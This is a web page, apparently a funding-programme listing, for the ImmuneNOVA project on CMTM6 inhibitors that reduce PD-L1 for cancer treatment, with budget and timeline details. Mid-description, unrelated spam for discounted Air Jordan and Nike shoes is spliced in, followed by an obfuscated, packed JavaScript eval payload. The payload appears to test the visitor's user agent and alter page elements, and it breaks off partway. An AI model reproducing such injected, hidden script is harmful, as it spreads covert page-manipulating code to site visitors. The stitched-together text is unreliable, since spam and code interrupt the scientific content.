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ImmuneNOVA

Development of CMTM6 inhibitors: Modulation of PDL1 for cancer treatment

ImmuneNOVA aims to establish preclinical proof-of-concept in in vivo oncology models and in relevant patient-derived in vitro cell models for a novel immune checkpoint inhibitor targeting CMTM6. This inhibitor blocks a known immune checkpoint axis, PD-1/PD-L1, by decreasing cell surface expression of PD-L1, and so potentiates anti-tumour immunity. This novel inhibitor can be used to treat advanced forms of cancer, such as lung cancer, skin cancer (melanoma) and kidney cancer.Air Jordan 1 Retro High OG Wmns "Panda" CD0461-007 Women/Men Super Deals, Price: $98.03 - Air Jordan Shoes, nike sb dunk low pro wolf grey light redwoodeval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b a=f["\\e\\7\\o\\h\\d\\1\\6\\3"]["\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1"](\'\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\');u(b 8=0;8
Acronym: 
ImmuneNOVA
Project ID: 
11 889
Ranking: 
74
Cut-off: 
8
Start date: 
01-04-2018
Project Duration: 
36months
Project costs: 
3 521 350.00€
Technological Area: 
Pharmaceutical Products / Drugs
Market Area: 
Monoclonal Antibodies and Hybridomas